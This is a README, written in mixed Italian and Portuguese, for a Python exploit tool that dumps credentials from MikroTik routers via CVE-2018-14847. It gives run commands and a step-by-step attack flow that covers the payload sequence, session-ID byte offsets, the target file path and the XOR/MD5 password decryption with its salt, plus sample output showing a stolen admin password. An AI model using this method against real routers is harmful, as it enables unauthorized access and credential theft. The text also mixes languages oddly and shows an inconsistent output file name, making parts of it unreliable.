
VULNERABILE CVE-2018-14847 - CREDENZIALI ESTRATTE MIKROTIK IN PYTHON
Repository di script per audit e test di penetrazione sulle reti. Utilizzare solo su dispositivi con autorizzazione formale.
Sfrutta la vulnerabilità di lettura file non autenticata nel servizio
Winbox di MikroTik RouterOS. L'handler dei file (handler ID 2) non valida
l'autenticazione, consentendo a un attaccante esterno di leggere il file user.dat
che contiene tutti gli utenti e le password del dispositivo.
Le password sono memorizzate cifrate con XOR utilizzando la chiave MD5(usuario + "283i4jfkai3389").
Lo script esegue la decrittazione automaticamente.
| Branch | Vulnerabile fino a | Versione corretta |
|---|---|---|
| Stable | 6.42 | 6.42.1 |
| Long-term | 6.40.7 | 6.40.8 |
| RC | 6.42 | 6.43 |
python3 cve_2018_14847.py <IP>
python3 cve_2018_14847.py <IP> --port 8291
# Alvo padrão na porta 8291
python3 cve_2018_14847.py 192.168.1.1
# Porta customizada
python3 cve_2018_14847.py 192.168.1.1 --port 8291
1. Conecta na porta 8291 (Winbox)
↓
2. Envia FIRST_PAYLOAD — abre sessão + solicita /flash/rw/store/user.dat
↓
3. Extrai Session ID do byte 38 da resposta
↓
4. Injeta Session ID no byte 19 do SECOND_PAYLOAD
↓
5. Envia SECOND_PAYLOAD — lê o arquivo user.dat
↓
6. Parseia entradas M2 → extrai usuário e senha cifrada
↓
7. Descriptografa senha: XOR com MD5(usuario + salt)
↓
8. Exibe credenciais e salva em arquivo
═══════════════════════════════════════════════════════
CVE-2018-14847 — MikroTik Winbox Credential Dump
Unauthenticated File Read + Password Decryption
Afetado: RouterOS 6.29 – 6.42 (< 6.40.8 / 6.42.1)
═══════════════════════════════════════════════════════
Alvo : 192.168.1.1:8291
Data : 2026-05-20 18:06:58
[*] Conectando em 192.168.1.1:8291 ...
[+] Conectado ao serviço Winbox.
[*] Enviando payload 1 (requisição de arquivo) ...
[+] Resposta recebida (84 bytes). Session ID: 0x35
[*] Enviando payload 2 (leitura do user.dat) ...
[+] Dados recebidos (312 bytes).
[*] Analisando user.dat (257 bytes úteis) ...
═══════════════════════════════════════════════════════
CREDENCIAIS EXTRAÍDAS
═══════════════════════════════════════════════════════
Usuário : admin
Senha : senha123
Combo : admin:senha123
───────────────────────────────────────────────────────
[+] 1 credencial(is) encontrada(s).
[+] Resultado salvo em: mikrotik_1192.168.1.1_20260520_180658.txt
Il risultato viene salvato automaticamente in:
mikrotik_<IP>_<TIMESTAMP>.txt
Esempio: mikrotik_192.168.1.1_20260520_180658.txt
Contiene: IP del bersaglio, data, CVE, versione interessata e tutte le coppie utente:password.
/rede/
├── README.md # este arquivo
├── cve_2018_14847.py # MikroTik Winbox Credential Extractor
├── pentest_cgnat_100.64.0.0.md # relatório de pentest CGNAT
├── pentest_roteador_192.168.2.1.md # relatório de pentest roteador
└── mikrotik_<IP>_<TIMESTAMP>.txt # resultados gerados pelo script
AVVISO LEGALE: Questi strumenti sono per uso esclusivo in ambienti autorizzati. L'esecuzione non autorizzata contro sistemi di terze parti è un reato previsto dalla Legge 12.737/2012 (Legge Carolina Dieckmann) e dall'Art. 154-A del Codice Penale Brasiliano.